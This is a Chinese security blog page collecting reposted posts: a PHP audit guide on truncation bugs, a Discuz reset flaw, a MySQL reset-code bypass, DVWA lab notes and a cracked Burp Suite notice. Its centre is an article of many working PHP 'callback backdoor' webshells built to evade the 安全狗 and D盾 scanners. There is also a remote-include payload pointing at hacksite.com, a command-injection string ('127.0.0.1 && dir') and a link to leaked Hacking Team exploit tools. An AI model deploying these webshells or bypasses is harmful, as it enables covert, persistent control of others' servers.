提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php //////////////////// ////var5.php代码: ////include $_GET['action'].".php";  ////print strlen(realpath("./"))+strlen($_GET['action']);   /////////////////// ini_set('max_execution_time', 0); $str=''; for($i=0;$i<50000;$i++) {         $str=$str."/";         $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);         //1.txt里的代码为print 'hi';         if (strpos($resp, 'hi') !== false){                 print $i;                 exit;         } } ?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass     | | 2 | admin      | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass      | | 2 | admin      | new_pass  | | 3 | admin      | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");   .... if(@mysql_fetch_array($result, MYSQL_NUM)) {         die("already exist"); }
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码
文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:

//Is this code vul? if( eregi(".php",$url) ){         die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(".php",$url) ){         die("ERR"); }

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

<?php for($i=0;$i<255;$i++) {         $url = '1.ph'.chr($i);         $tmp = @file_get_contents($url);         if(!empty($tmp)) echo chr($i)."\r\n"; }   ?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数

怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典
  • 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)
  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
  • 你有什么要补充的吗? :)

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt
PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function random($length, $numeric = 0) { ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); ./include/global.func.php-700-  if($numeric) { ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); ./include/global.func.php-702-  } else { ./include/global.func.php-703-          $hash = ''; ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/

[3] http://bugs.php.net/bug.php?id=40114

原文地址:https://code.google.com/p/pasc2at/wiki/SimplifiedChinese



admin 发布于  2015-8-1 11:29 

创造tips的秘籍——PHP回调后门(转载) 渗透测试

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

这个后门,狗和盾都可以查到(但是狗不会拦截):

可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_userfuncarray('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

可见,虽然狗不杀了,D盾还是聪明地识别了出来。

看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

$e = $_REQUEST['e'];

$arr = array('estt', $_REQUEST['pass']);

uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

这个后门,狗和盾是都查不出来的:

同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2);

<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);

再给出这两个函数,面向对象的方法:

// way 0

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');

// way 1

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');

再来两个类似的回调后门:

$e = $_REQUEST['e'];

$arr = array(1);

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

1. 一个参数:assert

2. 两个参数:assert (php5.4.8+)

3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk($arr, $e, '');

如图,这个后门可以在5.3下使用:

但强大的D盾还是有警觉(虽然只是等级2):

不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

好用的一句话,且用且珍惜呀。

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush;

但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

$e = $_REQUEST['e'];

declare(ticks=1);

register_tick_function ($e, $_REQUEST['pass']);

再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 数据库操作与第三方库中的回调后门

回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];

$db = new PDO('sqlite:sqlite.db3');

$db->sqliteCreateFunction('myfunc', $e, 1);

$sth = $db->prepare("SELECT myfunc(:exec)");

$sth->execute(array(':exec' => $_REQUEST['pass']));

执行之:

上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];

$db = new SQLite3('sqlite.db3');

$db->createFunction('myfunc', $e);

$stmt = $db->prepare("SELECT myfunc(?)");

$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);

$stmt->execute;

前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:

$str = urlencode($_REQUEST['pass']);

$yaml =

greeting: !{$str} "|.+|e"

EOD;

$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

还有php_memcached:

$mem = new Memcache;

$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));

$mem->connect($_REQUEST['pass'], 11211, 0);

自行研究吧。

0x08 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));

foreach ($iterator as $item) {

echo $item;

}

这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

0x09 后记

这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。


admin 发布于  2015-7-23 15:40 

乌云被黑? 业界新闻

02.jpg

乌云网(WooYun)漏洞平台是 一个位于厂商和安全研究者之间的安全问题反馈平台,在对安全问题进行反馈处理跟进的同时,为互联网安全研究者提供一个公益、学习、交流和研究的平台。其名 字来源于目前互联网上的“云”,在这个不做“云”不好意思和人家打招呼的时代,网络安全相关的,无论是技术还是思路都会有点黑色的感觉,所以自然出现了乌 云。

但是刚刚却出现这个情况 貌似一直都没有出现这个情况的.

01.png

乌云肿么了 我这里打不开 用了VPN也还是打不开

各位呢?神马情况! 难道是度娘的 加速节点出问题了?多半是吧 还好我没用度娘的加速服务 享受不起呀! 哈哈


admin 发布于  2015-7-12 17:25 

Hacking Team Tools Share 资源分享

Hacking Team是一家以协助政府监视公民而“闻名于世”的意大利公司,他们向包括摩洛哥、埃塞俄比亚以及美国毒品管制局在内的政府及执法机构出售入侵和监视工具。而这两天他们居然被黑了!



“Hacking Team”反被“Hacked”

作为一家专业从事监视技术的黑客团队及公司,Hacking Team(以下简称HT)今天亲身体验了内部数据被公之于众的感受。


分享一下他们泄露出来的工具吧 会使用的小伙伴们有福了 不会使用的就存起来吧

包括 flash的exp,所有系统的exp和tools !

下载地址:

https://mega.co.nz/#F!3EB2UTiT!BH022mXlud6bJu3dEfuVMw


admin 发布于  2015-7-12 16:48 

MySQL中的一个有趣的逻辑漏洞 渗透测试

遇到MySQL中的一个有趣的逻辑漏洞,给大家分享一下.

某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。

找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码:

if (!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if (!$db->count('user',"email='{$_GET['email']}' AND code='{$_GET['code']}'")) 
        die('error'); 
    $_SESSION['email'] = $_GET['email']; 
    ... 
}

在数据库中查找email=$_GET['email']并且code=$_GET['code']的行数,如果行数为0则die出去,否则设置$_SESSION['email'] = $_GET['email']; 
最后就以$_SESSION['email']内存储的邮箱重置密码。 

看似似乎没问题,只有当email为你的email,并且你知道他的随机code的时候,才能不die,才能获得$_SESSION['email']。 
但关键问题就是:code的默认值是0,也就是说所有用户只要没有重置过密码,他的code就是0,所以等于说我知道了所有用户的code,那我不就可以重置所有用户的密码了吗? 

不不,等下,我们看到这行代码: 
if (!empty($_GET['email']) && !empty($_GET['code'])) 
必须要!empty($_GET['code'])的时候,才可能进入这个if语句。熟悉php的人都知道,empty(0)是返回真的。所以说,如果$_GET['code']=0的话,根本进不来这个if语句。 
那怎么办? 


又涉及到mysql一个tip,很容易犯错的点。 
我 之前说了,code这个字段的类型是整型int(11)。而在mysql里面,当字段类型为整型,而where语句中的值不为整型的时候,会被转换成整型 才放入查询。也就是说,如果where code='xxx',xxx不为整型的话,则会先将xxx转换成整数,才放入查询。 
也就是说,如果我们传入的字符串为0aaa,则会转换成0,再执行。 
我们可以来做个试验, 
0015.jpg
上图大家可以看到,select count(*) from `user` where `id`='0a';和select count(*) from `user` where `id`='0';得到的结果都是1。 

所 以通过这个tip,就可以绕过if (!empty($_GET['email']) && !empty($_GET['code'])),只要我们传入的$_GET['code']=0xxx,就可以进入if语句,并且让select count(*)语句返回1,最后找回任意用户密码,不需要爆破。

注:本文属于Mrxn网络转载,原地址:https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html


admin 发布于  2015-6-28 01:07 

十大渗透测试系统之---DVWA1.0.8练习笔记(二) 渗透测试

1.Command Execution (命令执行) --- Ping测试

我们打开dvwa后选择-Command Execution可以看到:

06-13-42-18.png

那我们在文本框随便输入一个IP看看,我输入 192.168.1.1 得到如下结果:

06-13-50-42.png

可以ping 说明是可以执行命令的 ,那我们试试加上一些命令呢? 例如加上列目录的命令 &dir (Linux下不一样  自行修改)

06-13-56-05.png

OK,至此说明命令执行测试成功,至于还可以干啥,什么命令就自己慢慢练习吧.

源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

攻防FAQ:


  命令执行(命令注入)攻击的目的,是在易受攻击的应用程序中执行攻击者指定的命令,在这样的情况下应用程序执行了不必要的命令就相当于是攻击者得到了一个系统的Shell,攻击者可以利用它绕过系统授权,基于权限继承原则,Shell将具有和应用程序一样的权限。

      命令执行是由于开发人员对用户的输入未进行严格的过滤导致,通常可以通过表单,cookie,以及http头进行操作。

      针对linux系统,我们可以使用;来实行命令执行,针对windows系统,我们可以使用&&来实行命令执行。例如: 127.0.0.1 && dir


2.Cross Site Request Forgery (CSRF--跨站请求伪造)

06-14-00-28.png

密码就自动被修改了.

其源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE users SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>

攻防FAQ:


  跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何 具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态, 强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一 时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴 别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。

3.Insecure CAPTCHA (不安全的验证码)

我们需要创建一个reCAPTCHA秘钥,打开https://www.google.com/recaptcha/admin/create 即可创建,需要查资料的同学,请查看我之前发布的免费VPN:https://mrxn.net/free/173.html  或者是使用我提供的这两个:

$_DVWA['recaptcha_public_key'] = "6Lch89YSAAAAAPtf0M1lXQnqx3lBH27Syob4Xe9I";
$_DVWA['recaptcha_private_key'] = "6Lch89YSAAAAANFwnpEQMwVvCg90mzTF_FuAwcr5";

然后在更改密码输入框就会出现验证码:

06-14-33-45.png

这时候我们输入新密码 不用输入验证码就可以修改密码.

源码:

<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);
    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;    
    } else {
            if (($pass_new == $pass_conf)){
            echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
            echo "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"submit\" name=\"Change\" value=\"Change\" />
            </form>";
            }    
            else{
                    echo "<pre> Both passwords must match </pre>";
            $hide_form = false;
            }
    }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) 
{
    $hide_form = true;
        if ($pass_new != $pass_conf)
        {
                echo "<pre><br />Both passwords must match</pre>";
        $hide_form = false;
                return;
        }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
               $pass_new = mysql_real_escape_string($pass_new);
               $pass_new = md5($pass_new);
               $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
               $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
               echo "<pre> Password Changed </pre>";
               mysql_close();
        }
        else{
               echo "<pre> Passwords did not match. </pre>";
        }
}
?> 
攻防FAQ:

CAPTCHA 是一种人机识别的程序,用来判断访问网站的是人还是机器,你应该看到过很多网站使用了扭曲的图片或者是文字来防止"机器人"或者其它自动化的程序,CAPTCHA可以保护网站免受垃圾信息的骚扰,因为没有计算机可以识别这种技术。

CAPTCHAs通常用来保护敏感信息,防止被机器人(自动化程序)滥用,比如用户登陆,更改密码,发布内容等等。本例中CAPTCHAs保护更改管理员密码功能,它可以从一定限度上防止CSRF攻击和自动化猜解工具。

本例中的CAPTCHA很容易绕过,开发人员假设所有人都可以通过第一关的认证进行下一关,其中的密码是实际的更改,提交新密码后将直接更新到数据库中。

在低安全级别来完成此次挑战所需要的参数如下:

step=2&password_new=password&password_conf=password&Change=Change

在中安全级别,开发者试图保持会话状态并跟踪它是否完成之前提交的验证码,但是("passed_captcha")状态是在在客户端上提交,所以也可以很容易绕过:

step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change

在高安全级别,开发者移除了所有的攻击途径,处理过程得到简化,使数据和CAPTCHA验证发生在一个单一的步骤,另外开发者将状态变量存佬在服务器端。


注:都是博主自己测试玩耍的,大牛绕道.菜鸟勿喷.


admin 发布于  2015-6-25 13:38 

渗透测试神器Burp Suite v1.6.17(含破解版下载)--转 安全工具

QQ图片20150506002920.jpg

本文提供的破解方式仅供软件试用,请于24小时内删除

众所周知,Burp Suite是响当当的web应用程序渗透测试集成平台。从应用程序攻击表面的最初映射和分析,到寻找和利用安全漏洞等过程,所有工具为支持整体测试程序而无缝地在一起工作。

平台中所有工具共享同一robust框架,以便统一处理HTTP请求、持久性、认证、上游代理、日志记录、报警和可扩展性。Burp Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web应用程序。

Burp Suite的重要特性

拦截代理(Proxy),你可以检查和更改浏览器与目标应用程序间的流量;
可感知应用程序的网络爬虫(Spider),它能完整的枚举应用程序的内容和功能;
高级扫描器,执行后它能自动地发现web应用程序的安全漏洞;
入侵测试工具(Intruder),用于执行强大的定制攻击去发现及利用不同寻常的漏洞;
重放工具(Repeater),一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具;
会话工具(Sequencer),用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具;
解码器,进行手动执行或对应用程序数据者智能解码编码的工具;
扩展性强,可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。

Burp Suite版本更新手札

scanner_burp_suite.png

v1.6.15

这一版本引入了一个全新的特性:Burp Collaborator(拍档)。

Burp Collaborator是一个外部服务器,它可以用来帮助发现各种各样的漏洞并拥有变革web安全测试的潜力。基于这一平台,开发商添加了许多令人激动的新功能。

这个版本引入了一些新型扫描仪检测方式,并通过了新功能测试。

v1.6.16

这一版本解决了上一版本中新特性Burp Collaborator的一些问题,包括即使在使用者停用Collaborator的情况下,Burp有时会发送一些Collaborator相关测试负载。

